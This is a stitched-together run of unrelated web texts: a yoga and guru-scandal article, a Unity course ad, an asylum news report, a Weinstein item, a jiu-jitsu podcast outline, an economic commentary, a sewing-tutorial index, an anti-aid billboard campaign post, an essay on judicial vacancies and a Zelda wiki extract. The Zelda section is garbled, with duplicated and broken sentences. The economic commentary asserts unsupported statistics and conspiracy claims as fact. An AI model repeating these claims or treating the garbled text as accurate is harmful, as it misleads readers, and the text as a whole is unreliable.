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Science has begun to clarify the inner mechanisms. In Russia and India, scientists have measured sharp rises in testosterone — a main hormone of sexual arousal in both men and women. Czech scientists working with electroencephalographs have shown how poses can result in bursts of brainwaves indistinguishable from those of lovers. More recently, scientists at the University of British Columbia have documented how fast breathing — done in many yoga classes — can increase blood flow through the genitals. The effect was found to be strong enough to promote sexual arousal not only in healthy individuals but among those with diminished libidos.
In India, recent clinical studies have shown that men and women who take up yoga report wide improvements in their sex lives, including enhanced feelings of pleasure and satisfaction as well as emotional closeness with partners.
At Rutgers University, scientists are investigating how yoga and related practices can foster autoerotic bliss. It turns out that some individuals can think themselves into states of sexual ecstasy — a phenomenon known clinically as spontaneous orgasm and popularly as “thinking off.”
The Rutgers scientists use brain scanners to measure the levels of excitement in women and compare their responses with readings from manual stimulation of the genitals. The results demonstrate that both practices light up the brain in characteristic ways and produce significant rises in blood pressure, heart rate and tolerance for pain — what turns out to be a signature of orgasm.
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Since the baby boomers discovered yoga, the arousal, sweating, heavy breathing and states of undress that characterize yoga classes have led to predictable results. In 1995, sex between students and teachers became so prevalent that the California Yoga Teachers Association deplored it as immoral and called for high standards.
“We wrote the code,” Judith Lasater, the group’s president, told a reporter, “because there were so many violations going on.”
If yoga can arouse everyday practitioners, it apparently has similar, if not greater, effects on gurus — often charming extroverts in excellent physical condition, some enthusiastic for veneration.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
The misanthropes among them offer a bittersweet tribute to yoga’s revitalizing powers. A surprising number, it turns out, were in their 60s and 70s.
Swami Muktananda (1908-82) was an Indian man of great charisma who favored dark glasses and gaudy robes.
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At the height of his fame, around 1980, he attracted many thousands of devotees — including movie stars and political celebrities — and succeeded in setting up a network of hundreds of ashrams and meditation centers around the globe. He kept his main shrines in California and New York.
In late 1981, when a senior aide charged that the venerated yogi was in fact a serial philanderer and sexual hypocrite who used threats of violence to hide his duplicity, Mr. Muktananda defended himself as a persecuted saint, and soon died of heart failure.
Joan Bridges was one of his lovers. At the time, she was 26 and he was 73. Like many other devotees, Ms. Bridges had a difficult time finding fault with a man she regarded as a virtual god beyond law and morality.
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“I was both thrilled and confused,” she said of their first intimacy in a Web posting. “He told us to be celibate, so how could this be sexual? I had no answers.”
To denounce the philanderers would be to admit years of empty study and devotion. So many women ended up blaming themselves. Sorting out the realities took years and sometimes decades of pain and reflection, counseling and psychotherapy. In time, the victims began to fight back.
Swami Satchidananda (1914-2002) was a superstar of yoga who gave the invocation at Woodstock. In 1991, protesters waving placards (“Stop the Abuse,” “End the Cover Up”) marched outside a Virginia hotel where he was addressing a symposium.
“How can you call yourself a spiritual instructor,” a former devotee shouted from the audience, “when you have molested me and other women?”
Another case involved Swami Rama (1925-96), a tall man with a strikingly handsome face. In 1994, one of his victims filed a lawsuit charging that he had initiated abuse at his Pennsylvania ashram when she was 19. In 1997, shortly after his death, a jury awarded the woman nearly $2 million in compensatory and punitive damages.
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So, too, former devotees at Kripalu, a Berkshires ashram, won more than $2.5 million after its longtime guru — a man who gave impassioned talks on the spiritual value of chastity — confessed to multiple affairs.
The drama with Mr. Friend is still unfolding. So far, at least 50 Anusara teachers have resigned, and the fate of his enterprise remains unclear. In his letter to followers, he promised to make “a full public statement that will transparently address the entirety of this situation.”
The angst of former Anusara teachers is palpable. “I can no longer support a teacher whose actions have caused irreparable damage to our beloved community,” Sarah Faircloth, a North Carolina instructor, wrote on her Web site.
But perhaps — if students and teachers knew more about what Hatha can do, and what it was designed to do — they would find themselves less prone to surprise and unyogalike distress.Course Updated 7 July 2016
Why are 50,804 students wanting me to mentor them in 42 Udemy courses?50,804 students have started learning from me since August 7th 2015. Shouldn't you find out why?
You are about to learn how to build a 2D Platform game from Scratch in Unity 3D
You will learn how to create your first Unity project, even if you have no experience! Follow along and learn step by step how to create your very first 2D platform game.
You will discover how to use the Unity Camera effectively, and get a great grasp of GroundCheck and CeilingCheck.
You will be introduced to Unity Layers so you can create a truly amazing game!
You will be shown how to add platforms, add characters, add enemies, add collision detection, add levels, add coins and objects to collect, add backgrounds and so much more!
Follow along and build your very first (or your next!) 2D Platform game in Unity 3DImage copyright Getty Images Image caption Australia has adopted a policy of not resettling people who arrive by boat
Concerns have been raised about the fate of 42 asylum seekers who have been allegedly sent back to Vietnam.
The Australian Greens said the government may have breached international law by sending them back.
A small wooden boat, the first "illegal" vessel entry into Australia since June 2014, was spotted off country's north-west coast, last week.
The boat has not been sighted since, and the government has refused to say where the refugees are.
Speaking in Sydney on Monday, Prime Minister Tony Abbott refused to comment, saying only that the government would "do what we have always done, and that is to act in accordance with Australia's interest".
Children aboard
Greens Senator Sarah Hanson-Young said the government "must come clean" about the fate of the asylum seekers.
"Handing these people directly over to the Vietnamese Government constitutes refoulement, which is a breach of the Refugee Convention," Ms Hanson-Young said in a statement.
Crew working for oil and gas producer Modec had spotted the boat within 500m of their floating oil tanker, about 150km (93 miles) from the Dampier coast.
Refugee advocates have said they believed a number of children were on board on the boat.
Australia and asylum
Many asylum seekers - mainly from Afghanistan, Sri Lanka, Iraq and Iran - travel to Australia by boat from Indonesia
To stop the influx, the government has adopted hard-line measures intended as a deterrent
Everyone who arrives is detained, and processed in Nauru and Papua New Guinea. Those found to be refugees will be resettled in PNG, Nauru or Cambodia
The government has also adopted a policy of tow-backs, or turning boats around
Victorian president of the Vietnamese community, Bon Nguyen, had been told some of the asylum seekers had been returned to Vietnam, reported the Australian Broadcasting Corp. (ABC).
"I have a great fear for their safety," Mr Nguyen told the ABC.
"If [the] Australian Government has returned them back to Vietnam already, please have some sort of monitor program so that our Australian embassies in Vietnam can actually keep an eye on them," he said.Courtney Love warned young women about Harvey Weinstein more than a decade ago
CLOSE Some 30 women spoke out this week to say Harvey Weinstein sexually harassed or sexually assaulted them. A People magazine deputy editor talks about the case and how it's affecting Hollywood. (Oct. 13) AP
Though news about Harvey Weinstein's sexual misconduct allegations came to light in the last two weeks, Courtney Love has proof that she's been warning about the disgraced movie mogul for more than a decade.
In a video interview with Comedy Central's Natasha Leggero ahead of 2005's Roast of Pamela Anderson, obtained by TMZ, Love responded to a question about giving young women advice for making it in Hollywood.
Courtney Love warned Natasha Leggero about Harvey Weinstein back in 2005. (Photo11: Jamie McCarthy, Getty Images for Marc Jacobs)
First Love hesitates, worrying that she'll get in trouble "if I say it," but then she blurts out, "If Harvey Weinstein invites you to a private party in the Four Seasons, don't go."
Love tweeted Saturday that although "I wasn't one of his victims, I was eternally banned by CAA," the Creative Artists Agency, "for speaking out against" him.
Leggero also tweeted, saying that she "forgot that" Love "told me to stay away from Harvey Weinstein 12 years ago."
More:A timeline of Harvey Weinstein
More: Harvey Weinstein news: Academy expels embattled producer amid sexual assault allegations
Read or Share this story: https://usat.ly/2ymNbH1Nathan Orchard is a Tenth Planet black belt under Eddie Bravo. You will find Nathan training in his gym in Portland Oregon.
Nathan Orchard talks about:
Wrestling as a kid
Doing MMA when he was 16 years old
His start to Jiu-Jitsu
Seeking knowledge over comfort
Learning by studying instead of a traditional coach
The development of his double under system
Closed loop and open loop systems for grappling
Watching competitors to develop a game plan
Working with a Samuri sword and learning about footwork
Advice of not comparing yourself to others
How following his desire to draw has benefited his life
Why it is important to tollow your passions
The Book of Five Rings
Jiu-Jitsu broken down into transitions, positions, and submissions
Submissions broken down into bars, twists, and compressions
His thoughts on when to learn heelhooks
How he is able to train defense with lower belts
His attitude toward his teammates
Taking the role of a servant to his students
Links:
Quote of the week: “Practice makes permanent”
Article of the week: BJJ Seminars…. get the most out of them
Roll-a-Thon July 22 at Fox Fitness BJJ
Catch us next week for another episode of The BjjBrick Podcast
The BjjBrick Podcast is in iTunes, Stitcher radio, and Google Play Music for AndriodBob Chapman | October 2, 2011
Remember that $400 billion increase in debt recently enacted? Well it is gone and it only took six weeks. Washington has quite a talent for spending debt, which is other people’s money. Not satisfied the Senate, as we reported, added in another $500 billion. The media covered up the increase in debt by making a major issue of the President’s speech concerning jobs.
The enabling super committee is at work cutting $2 trillion from the budget. This supposedly will be concluded by November. These cuts were not designed as such, but they will help slow any recovery, as will any tax increase. As the CBO says, the wrong thing at the wrong time. Even with cuts and tax increases about half of federal government spending will be borrowed. Worse yet, most of any cuts will come from Social Security and Medicare, which are not entitlements, but are benefits the public paid for. Government wants to play Robin Hood, take from those who sacrificed and paid for the benefits and give to those who paid nothing into the system. As the enabling committee works behind closed doors the administration tries to use the debt problems in Europe, particularly in Greece, as a cover to shroud the problems in the US, which are potentially much worse. The US has no greater prospect of paying off its debt then does Greece or any of the other five close to insolvent nations. As serious as Europe’s problems are the focus should really be on America’s debt problems, because they will exert a greater impact worldwide, if for no other reason than the US dollar is the world’s reserve currency.
As in America, Europeans are being railroaded into bailing the banks out and will as the sick six sovereigns. That process could take ten years of subsidies and $6 trillion, which could unfairly bankrupt all of Europe. On top of all this financial horror waiting in the pipeline are carbon taxes. Including VAT the average taxation is 70%. We wonder how long it will take for revolution?
In the recent G-7 meeting in Marseilles, France, the members couldn’t identify the problems, much less analysis and solutions. The only cogent comment of value from their point of view was the banks would be bailed out no matter what the cost. So what else is new? We noticed there was little or no reporting on the conference, probably because they accomplished nothing. Of course, they were all for economic growth, strong financial markets and accommodative monetary policy. This lack of success was in part the reason of the plunge in the stock markets that followed. That is the state of world leadership.
Several months ago we predicted the administration would have a very hard time raising funds for stimulus. The enabling super committee is trying to raise taxes and cut the budget for a total of $1.5 to $2 trillion over the next ten years, which is a drop in the bucket, but will come mostly from Social Security and Medicare. It looks like the President’s jobs bill will be lucky if it is passed and the stimulus could only be on the order of $200 billion.
The simple answer to increase employment is to have banks lend out part of the $2 trillion they have on deposit at the Fed. They have cut back loans to small and medium sized businesses 30% over the past two years. If loans were forthcoming there would be a boom in employment, as these companies crate 70% of all jobs. That is the least they could do after the government and the banks’ made a deal in which the banks are relieved from any legal liability for their fraudulent securitization practices. It really is enough to make you sick. These crooks should be in jail.
We recently saw a $500 billion swap package to lend money to European banks, which were the victims of money market and other institutional funds pulling their funds out of Europe. The funds supposedly came from four central banks, when in reality the Fed was the only lender - lies, lies and more lies.
As the Federal Reserve lends trillions of dollars to banks, transnational corporations, and foreign banks and governments the average American cannot get a loan. Many Americans are living constantly under financial stress wondering how they can make it week to week. It is certainly a struggle. There are soon to be 45 million people on food stamps and unemployment remains at 22.4%.
One of the main reasons for this state of affairs is that in 11 years 11.7 million good paying jobs have been shipped to foreign low wage countries in the name of free trade, globalization, offshoring and outsourcing. That includes the loss of 450,000 companies to foreign lands and no one ever talks about it, especially our Congress. This gutting of the US economy goes on daily and it is expected that we will lose 20 million more jobs in the next ten years, and 20 million more in the following ten years. That means very few able bodied men will have jobs. Is it any surprise that American men and women live in fear of losing their jobs. Will they be included in the next layoffs? These fears have caused families to sell things they don’t need to raise cash to live on. Anything is up for sale. In this past year 2.6 million more Americans were thrown into poverty, the biggest increase in 52 years. Six million Americans between 25 and 34 are living with their parents and at the rate jobs are being lost to China and other countries that figure will grow over the next 20 years.
The average income after taxes is about $3,000 a month and for a family of four that is not very much to live on. We see college graduates working for $2,400 a month in the black economy and at the same time collecting unemployment trying to make ends meet. What happens when unemployment runs out? Compounding the problems we have 15 million illegal adult illegal aliens fighting those college grads for those jobs.
Costs continue to escalate as a matter of public policy, as inflation reaches 11.4% in the real world. Now government even admits to 3.8%. How do Americans cope with costs growing over 10% a year? How about retirees who haven’t had a COLA increase in more than two years, as government lies about inflation? At the same time the super Congress enabling committee wants to cut $400 billion each from Social Security and Medicare. Those are funds that have been paid in by citizens for more than 50 or 60 years. What kind of a government is it that does such things? Yes, the government is the enemy. The young families simply cannot make it without help from their parents, even those in there 40s. How can anyone afford health care? There are 50 million Americans without health care due to perpetually rising costs. Layoffs are up 14% and unemployment rises again. How can a man support a family on $10.50 an hour? His $30.00 an hour job is now in China, India or Mexico. In order to make ends meet, debt has been brought to staggering levels. The average American household has income of $26,000 and debt of $75,000. The entire situation gets worse every day as consumers cut back. For almost 12 years Washington has had no jobs policy or growth policy for that matter. It is bail out the financial sector and the government. There is nothing for people – no solutions.
What the Fed and the Treasury have been doing to resurrect the economy hasn’t worked and they knew it wouldn’t work. The idea is to extend the time line. This is the same thing that is being done in Europe. For those of you who missed it the Bundestag voted overwhelmingly 523 to 85, to approve the expansion of the European bailout fund, the European Financial Stability Facility, EFSF, in spite of the fact that 75% of Germans were against it. Our calculations are that if $5 trillion is needed to bail out the six insolvent countries, Germany’s part will be $1.3 trillion. This debt crisis will lead to an economic slump and the contributing nations will have to print money and monetize in order to fill their commitments, which in turn will drive up inflation. In this process Greece in all likelihood will default by a minimum of 50% and perhaps totally, and that in turn will bring major losses to banks and participating central banks. At that juncture the Greeks will leave the euro zone to be followed by Ireland and Portugal. Others will follow. That will bring further recession and financial turmoil, along with civil unrest particularly in Germany. All might add that it took three months of dithering by euro-area lawmakers to create and overhaul their rescue fund, probably to allow the banks time to withstand and further market unrest. As this transpired the EU economy lost traction and was sinking into recession. Market volatility continues with Spain and Italy extending their bans of short selling of financial shares.
It is now the intent of bankers and politicians to allow the EFSF to leverage lending in violation of the German Constitution. The Greek rescue package is to be implemented and the banks taken off the hook and be recapitalized, at the public’s expense. These are the very same banks that caused all the problems in the first place. These same private creditors are angered that they may be asked to take a larger than 21% loss on their Greek holdings.
The Greeks protest and demonstrate almost every day. The public is not going to cooperate with the current government. PASOK, the party in power, is still trying to find a way to take away taxi driver medallions, which are worth lots of money, and turn the taxi business over to a Germany company. This past week they passed legislation adding a penalty charge of several percent to real estate taxes and worse yet, they now want to make it retroactive to 2001. These are taxes the people are incapable of paying. The results are continual strikes.
Germany’s finance minister, Wolfgang Schäuble says there is no secret plan to leverage the EU’s bailout plan from $595 billion to $2.7 trillion. This increase, illegal in Germany, would cause a downgrade in the sovereign debt rating of the solvent states. If there is a secret master plan put together with the help of the Fed, it will destroy Germany’s constitution and democracy. Social Democrats denounced the back-room dealing and the secrecy. The real implications of such a deal is to put Germany’s domestic finances under the control of the EFSF and eventually the European Monetary Union, the EMU. German citizens are being taken to the cleaners, they do not know about these back-room deals. It could lead, once exposed, to a referendum and a new constitution, which would destroy Germany’s democracy in order to form government by bureaucrats, who would prepare the EU for the new world order. The current Congress does not have the legal right to sign away German sovereignty. The Bundestag cannot abdicate its fiscal responsibilities to accommodate the banking elitists. This sordid relationship will lead to resistance by the people and could end up in revolution, if the bankers are stupid enough to push the issue. The EU is already in the clutches of supra-national bodies, which are not elected and accountable only to the bankers. They have already usurped tax and spending and want to extend that to domestic fiscal matters, which will destroy the sovereignty of all of the 27 EU countries. Mr. Schäuble is lying. There is a secret elitist deal. This exposure will lead to the breakup of the euro zone and the EU and cause a banking collapse. That won’t be difficult because the banks are already broke. The future for Europe is not pretty. Smart Europeans are moving their wealth to gold and silver related assets. The Fed cannot rescue Europe indefinitely. European financial problems are going to get worse because they are trying to save the banks at any cost and it isn’t going to work.New here?
This is an index to all the tutorials and series published on Fashion-Incubator and was last updated August 14, 2012. Be sure to check back frequently for progress.
All tutorials and projects are free but I do appreciate donations. If money is too crass, consider selecting a book from my Amazon wish list. If you like the material on this site, you’d probably like my book too so please consider purchasing it. Book sales pay the bills around here.
You’re welcome to the material for personal use but it remains my property and I reserve all rights. Please cite your sources if you use my tutorials to do a tutorial on your own site -this has been an ongoing problem. If you’d like to excerpt or reprint the information, contact me. For your convenience, links open in a new tab or window. Happy sewing!
The zipper tutorials (lapped, centered and invisible)
Be sure to read visitor comments at the close of each posting.
Process review: lapped zipper
Lapped zipper template
Lapped zipper construction
Lapped zipper specs
Centered zipper template
Centered zipper construction
Invisible zipper tutorial pt.1
Invisible zipper tutorial pt.2
Shorten a separating zipper
Zippered welt pocket tutorial
Deconstructing a zippered pouch
How to sew a vintage invisible zipper
Welt pocket tutorials:
Be sure to read visitor comments at the close of each posting.
Zippered welt pockets
Welt-Reece machine operations
Marking & Cutting
Welt and paper jig
Welt pocket construction
Tutorial: Finishing the welt pocket
Zippered welt pocket tutorial
How to sew a single welt pocket
Misc:
Misc Pattern Tip: trim darts
Marking & Cutting
Re-framing industrial methods
Interfacing: 10 tips
How to find the grainline on a sleeve
How to find a missing dart end
How to sew V necklines with facings
How to make men’s ties
Shirt making tips
The 7 minute cutting test
The 7 minute cutting test pt.2
Tutorial: one piece neck & sleeveless facing
A tale -and tutorial- of three collars
A tale -and tutorial- of three collars pt.2
Jacket, vest and leather tutorials Also see the “nameless tutorial series” below this heading.
A better way to sew linings and facings
A better way to sew linings and facings pt.2
Sewing with leather pt.1
Sewing with leather pt.2
How to use wigan
Vest sewing tutorial
Prototype bag Style# 4216 pt.1
Style 22692 Bundling & Bagging
Bagging Tutorial
22692 Bagging kit
22692 Bagging Tutorial #1
22692 Bagging Tutorial #2
Thrift store shopping (indirectly related)
Nameless Tutorial series aka the facing/lining/hem juncture in tailored jackets and suits (jacket bagging). It was called this because nobody knew what to call it. A must read if you’re bagging lined jackets.
Name this tutorial
Nameless tutorial #2
Nameless tutorial #3
Nameless tutorial #4
Nameless #5 (back vent)
Nameless #6 -Troubleshooting
Nameless Tutorial #7
Nameless Tutorial #8
Nameless Tutorial #9
Copying Processes (how to copy industrial sewing methods)
Copying processes
Copying processes #2
Copying processes #3
Copying processes #4
Copying processes #5
Reverse engineering shirt making (the reverse engineering standard work series of how to copy industrial sewing methods)
Shirt making tips
Standard Work (sounds boring, read it anyway)
Reverse engineering standard work pt.1
Reverse engineering standard work pt.2
Reverse engineering standard work pt.3
Reverse engineering standard work pt.4
Reverse engineering standard work pt.5
Reverse engineering standard work pt.6
Reverse engineering standard work pt.7
Reverse engineering standard work pt.8
Reverse engineering standard work pt.9
Spin off entries of Reverse engineering standard work pt.5:
A failed experiment
A failed experiment pt.2
A failed experiment pt.3
Reverse engineering standard work pt.5.1
Saran Wrap Patternmaking method
Saran wrap pattern making method #1
Saran wrap pattern making method #2
Production pattern tutorials
Production pattern tutorial 1
Production pattern tutorial 2
How to re-shape armholes
Tip for checking your patterns
How to check for nap & one-ways
How to remove sleeve cap ease
How to remove sleeve cap ease pt.2
Notch maps: suit sleeve & armhole
Notch maps: suit sleeve & armhole pt.2
How to match stripes and plaids
Jeans and pants fitting tutorials
Jeans fit so lousy these days
Jeans fit so lousy these days pt. 2
Yet another pet peeve: Waistbands
Anatomy of a Camel Toe pt.1
Anatomy of a Camel Toe pt.2
How to fix a camel toe
Adding a gusset to pants pt.1
Adding a gusset to pants pt.2
The vintage pattern project articles:
Vintage pattern design contest
Vintage pattern design update
Re-inventing Vionnet & 24001 draft
Vintage pattern post #4
Vintage pattern post #5
Vintage German Patterns
Sizing:
How to get sizing and grading standards
How to create grade rules 1
How to create grade rules 2
How to create grade rules 3
How to check the accuracy of graded patterns
How to check the accuracy of graded patterns pt.2
How to check the accuracy of graded patterns pt.3
What are grade specs, grade rules and grade rule libraries?
Pattern and style management
A cutter’s must
A cutter’s must pt 2
How blocks work
PN numbers
Style Numbers revisted
How to issue style numbers pt.127
How to issue style numbers pt.128
How to issue style numbers pt.129
How to issue style numbers pt.130
How to write garment & product descriptions
Operations: organizing production
Batch product development
Batch product development 2
Batch product development 3
Batch, UPS and Modular (Batch pt.1)
Batch, UPS and Modular (Batch pt.2)
Batch, UPS and Modular (UPS pt.1)
Batch, UPS and Modular (Modular pt.1)
Misc Industrial Sewing
Industrial sewing instructions
A refresher on basic industrial sewing concepts
Beginner’s guide to sewing with industrial machines
Beginner’s guide to sewing with industrial machines pt.2
Beginner’s guide to sewing with industrial machines pt.3
The rules on seam allowances
The rules on seam allowances pt.2
How to sew faster pt.1
How to sew faster pt.2
How to sew faster pt.2b
How to sew faster pt.3
How to sew faster pt.4
Business: Sales Line sheets, labels and sales tools series
How to make a line sheet
How to make a line sheet pt.2
Budget Marketing Materials: Large Format Postcards
Good Logo Design
How to order labels pt.1
Importance of Product Identification
Importance of Product Identification pt. 2
Line sheets revisited
Internet related
Designer’s website design
Designer’s website design pt.2
How to write an email
How to pitch me
The vanity sizing series:
The myth of vanity sizing
Fit and sizing entropy
Push manufacturing; subverting the fit feedback loop
Sizing evolution
Shrinkage and fit
The birth of size 10?
History of women’s sizing pt.3
Vanity sizing shoes
Tyranny of tiny sizes?
Tyranny of tiny sizes pt.2
Vanity sizing: generational edition
Vanity sizing: generational edition pt.2
Vanity sizing: the consumer spending edition
My Vanity Sizing Website
Why larger sizes cost more or Size is nothing but a number
This page was last updated August 14, 2012
My contact info:
Apparel Technical Svcs ~The Sewing Factory School
410 Old Coors Dr. SW
Albuquerque NM 87121
T: 505-877-1713 C: 575-635-8131
EmailStop30Billion Billboard at Melrose and Walnut, Los Angeles
Exciting news. The Coalition to Stop 30 Billion to Israel has put up 23 billboards across Los Angeles in an awareness initiative to stop military aid to Israel. The message:
Tell Congress: Spend Our Money at Home, Not on the Israeli Military
Millions of Americans will be exposed to these billboards every day as commuters in the country’s second largest metropolitan area are stuck in traffic on some of the most congested roads in the world. Stop30Billion Co-founder Armen Chakerian told me the campaign plans to put up additional signs in different spots in LA each month.
This is the largest advertising campaign launched by Stop30Billion thus far. Last spring its successful campaign in Denver, Colorado, garnered lots of attention from citizens and local media.
Stop 30 Billion is a grassroots campaign with humble beginnings, funded by ordinary citizens. They got off to a rocky start when their first billboards were taken down under pressure by Lamar Outdoor Advertising after only three weeks even though they had signed a contract to run the billboards for eight weeks. The billboard company for Stop30Billion’s LA initiative is CBS Outdoor, the outdoor advertising division of media conglomerate CBS Corporation.
Due to the tremendous pressure CBS Outdoor will undoubtedly encounter in the days and weeks ahead, Stop30Billion and its partner the US Campaign to End the Israeli Occupation have asked us to sign a petition to thank CBS Outdoor.
In a blog post titled “Dodging the ‘Hebrew Hammer’ in the Fight for Justice,” writer Richard Edmondson traces the hurdles in Stop30Billion’s history and interviews Coalition co-founders Susan Schuurman and Armen Chakerian:
Q: Tell us about your new ad campaign and how it differs from previous ones. A: Our new ad campaign features an American flag. We wanted to emphasize that our message is indeed a patriotic one in that domestic needs are being short-changed by sending billions of dollars per year to support the Israeli war machine. This message seems to be resonating even more during this current economic down-turn. We also feel that more and more Americans want politicians to focus greater attention on infrastructure, education, and healthcare needs at home……After our billboards were taken down prematurely, however, we purposefully tried to find less provocative phrasing that would have a better chance of not being suppressed by opposition pressure. Q: Your ads seem to have caused considerable consternation within the ranks of pro-Israel groups, but of course the real question is how much of an impact are they having with the public? Do you have any sense of public opinion about the ads and to what degree they may be influencing the way people think about the Middle East? A: Combined with other communities’ campaigns, we feel that our messaging has created a safer space within which to criticize Israeli policy without being called “anti-Semitic.” In addition to being seen directly by tens of thousands of passers-by, the billboards led to media coverage both in Denver’s local Jewish community newspaper and on Denver channel 7.
Replicate this campaign in your area!
Here’s a short ‘n sweet 41 second video filmed in Albuquerque, New Mexico archived by campaign co-founder Susan Schuurman on the first day the billboard campaign was launched by the Coalition to Stop 30 Billion in 2009.It has been more than a week since the death of a conservative judicial titan: Justice Antonin Scalia. With the Republican members of the Senate Judiciary Committee vowing for the first time in American history to not even consider a president’s U.S. Supreme Court nominee, it is possible that the Supreme Court could have just eight members until 2017—well into the Court’s next term. If that happens, many Court observers predict that the justices will split their votes 4-4 on many of the most controversial cases. A tied vote would mean that the lower court rulings stand, even when the lower courts disagree over how to interpret important constitutional rights.
The Supreme Court often accepts cases on issues on which lower courts disagree. Litigants who lose their trials can appeal to the U.S. Courts of Appeals, or Circuit Courts, and if they lose there, they can appeal to the Supreme Court for a final ruling. But without nine justices, the nation’s lower court judges could—in effect—have the final say on many controversial issues. If circuit courts disagree on these issues, Americans could essentially have different speech, property, or due process rights, depending on where they live.
Although most Americans are familiar with the Supreme Court, many are surprised to hear that more than 900 judges have lifetime appointments on lower federal courts and hear thousands of times the number of cases that the Supreme Court hears. With an empty seat on the Supreme Court, the stakes surrounding these lower courts have been raised even higher. And yet, the Senate continues to obstruct many of President Barack Obama’s lower court nominees, leading to dozens of vacant seats and delayed justice for millions of Americans.
Supreme Court obstruction is part of a pattern
Conservative activists have long been aware of the importance of the lower courts and have used significant political pressure to keep new judges off the bench. For example, in January, the conservative group Heritage Action threatened to give legislators bad legislative scorecards if they voted to confirm any more of the president’s judicial nominees. Conservatives hope to delay the confirmation of judicial nominees until after the next presidential election, when they hope to have a more conservative president making appointments.
Even before Senate leaders refused to consider the next Supreme Court nominee, they were delaying confirmation votes on many of the president’s lower court nominees. With their latest statements, Republican Senate leaders have shown their hand. The vow from Senate Judiciary Committee Chairman Sen. Chuck Grassley (R-IA) and others to block a fair hearing for the president’s eventual Supreme Court nominee is part of conservatives’ larger strategy on judicial nominations: obstruct, obstruct, obstruct.
There are now 75 vacancies on the lower courts—nearly 1.75 as many as on January 1, 2015. Thirty-one of those vacancies are considered judicial emergencies, meaning there are not enough judges on those courts to hear the cases piling up. The number of judicial emergencies has increased by 158 percent since January 2015.
Despite all these vacancies, the Senate confirmed
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, where she asks Anjean to take care of Byrne even though he was the one who stole her body.
The Legend of Zelda, and has since been featured in every subsequent game, with the exception of Link's Awakening. Each Princess is chosen by destiny to be the keeper of the Princess Zelda is one of the three most important characters of The Legend of Zelda series, which is also why her name appears in the title of every game. Princess Zelda first appeared in the original, and has since been featured in every subsequent game, with the exception of. Each Princess is chosen by destiny to be the keeper of the Triforce of Wisdom in their era, which is the main reason why they play such an integral role in the legends of Hyrule.
Abilities
Twilight Princess Princess Zelda calls upon the power of the Light Spirits in
Ocarina of Time, one of them being that she has prophetic visions in her dreams.[26][27] She also helps Link in their escape from [28] Being the seventh [1][29] Finally, with her powers as a Sage, she is capable of returning Link to his original time by simply using the [30] Many of her abilities as both a Sage and the wielder of the Triforce of Wisdom are widely illustrated in, one of them being that she has prophetic visions in her dreams.She also helps Link in their escape from Ganon's Castle by using her powers to magically remove the barriers blocking the exits. During the final battle between Link and Ganon, Princess Zelda uses her powers to restrain the King of Evil as Link delivers the final blow.Being the seventh Sage, she is the ruler of the rest of the six Sages, and it is with her guidance that the Sages seal Ganon in the void of the Evil Realm Finally, with her powers as a Sage, she is capable of returning Link to his original time by simply using the Ocarina of Time
The Wind Waker, Twilight Princess and Spirit Tracks. In The Wind Waker, Princess Zelda aids Link in battling Ganondorf by borrowing the young hero's bow and using it to fire [24] This skill is again portrayed in the final battle of Twilight Princess, where the princess yet again uses a bow and Light Arrows to strike Ganondorf while accompanying Link on his horse,[31] and once more in the final battle against Spirit Tracks. In one scene of Twilight Princess, Princess Zelda is seen wielding a sword, although it is unknown whether she possessed any true sword skills. Some of Princess Zelda's physical abilities are demonstrated in games such asand. In, Princess Zelda aids Link in battling Ganondorf by borrowing the young hero's bow and using it to fire Light Arrows at the King of the Gerudo.This skill is again portrayed in the final battle of, where the princess yet again uses a bow and Light Arrows to strike Ganondorf while accompanying Link on his horse,and once more in the final battle against Malladus in. In one scene of, Princess Zelda is seen wielding a sword, although it is unknown whether she possessed any true sword skills.
Twilight Princess, Princess Zelda is capable of communicating with the [32] As shown in, Princess Zelda is capable of communicating with the Light Spirits. Just as the princess and Link are about to be attacked by Ganondorf's ghostly army, Zelda calls upon the Light Spirits to aid her in her time of need, in which the spirits grant her the Light Arrow to banish evil.
Spirit Tracks, Princess Zelda can possess a [33] Moreover, due to the Phantom's armor, she can also protect Link from attacks or use her strength to fight alongside Link and help him defeat enemies, as seen when fighting In, Princess Zelda can possess a Phantom's body after Link strikes it with a powered-up sword or the Lokomo Sword. While in this state, the princess can help out Link solve various puzzles as well as cross certain obstacles that the young hero cannot do by himself.Moreover, due to the Phantom's armor, she can also protect Link from attacks or use her strength to fight alongside Link and help him defeat enemies, as seen when fighting Geozards or Byrne
Naming Tradition and Law
Origin
The Tragedy of "Princess Zelda I"
Related page: Sleeping Zelda
[34][35] While she was not the first Princess Zelda in the history of Hyrule, she was the first in a long line of princesses to be named Zelda by law and not tradition after she was put into a deep sleep for many generations. Her brother, the Prince of Hyrule at the end of its Golden Era, who was partly to blame for her comatose state, decided that, in honor of his sister, every princess born in to the Royal Family of Hyrule should be named Zelda.
Unified Timeline
Skyward Sword
The Zelda in Skyward Sword is the eleventh Zelda appearing in the The Legend of Zelda series, and currently the earliest incarnation of Zelda chronologically to appear in-game.
[12] before telling Link that she, as Hylia reborn, must remain in a deep sleep to keep Demise imprisoned within his seal.[22] Before doing so, Zelda explains that the goddess needed someone with an "unbreakable spirit" to defeat Demise.[44] However, Hylia, knowing that the young hero would "throw [himself] headfirst into any danger, without even a moment's doubt" if it meant saving Zelda,[45] used Link to try and bring about the destruction of Demise. She proceeds to seal herself into a crystal and sleep for thousands of years to ensure Demise's imprisonment holds, and tells Link that he must find and use the Triforce to destroy Demise so that she will be able to wake up in their own time.[46] Eventually, Link catches up with Zelda and Impa at the Temple of Time, but their reunion is cut short when Ghirahim attacks the duo. In the frenetic action going on, Zelda gives Link the Goddess's Harp before Impa and her escape through the Gate of Time, with Impa destroying the gate so as to escape Ghirahim's grasp. Link manages to activate a second Gate of Time and meets with Zelda, who explains her true nature as the mortal reincarnation of the Goddess Hyliabefore telling Link that she, as Hylia reborn, must remain in a deep sleep to keep Demise imprisoned within his seal.Before doing so, Zelda explains that the goddess needed someone with an "unbreakable spirit" to defeat Demise.However, Hylia, knowing that the young hero would "throw [himself] headfirst into any danger, without even a moment's doubt" if it meant saving Zelda,used Link to try and bring about the destruction of Demise. She proceeds to seal herself into a crystal and sleep for thousands of years to ensure Demise's imprisonment holds, and tells Link that he must find and use the Triforce to destroy Demise so that she will be able to wake up in their own time.
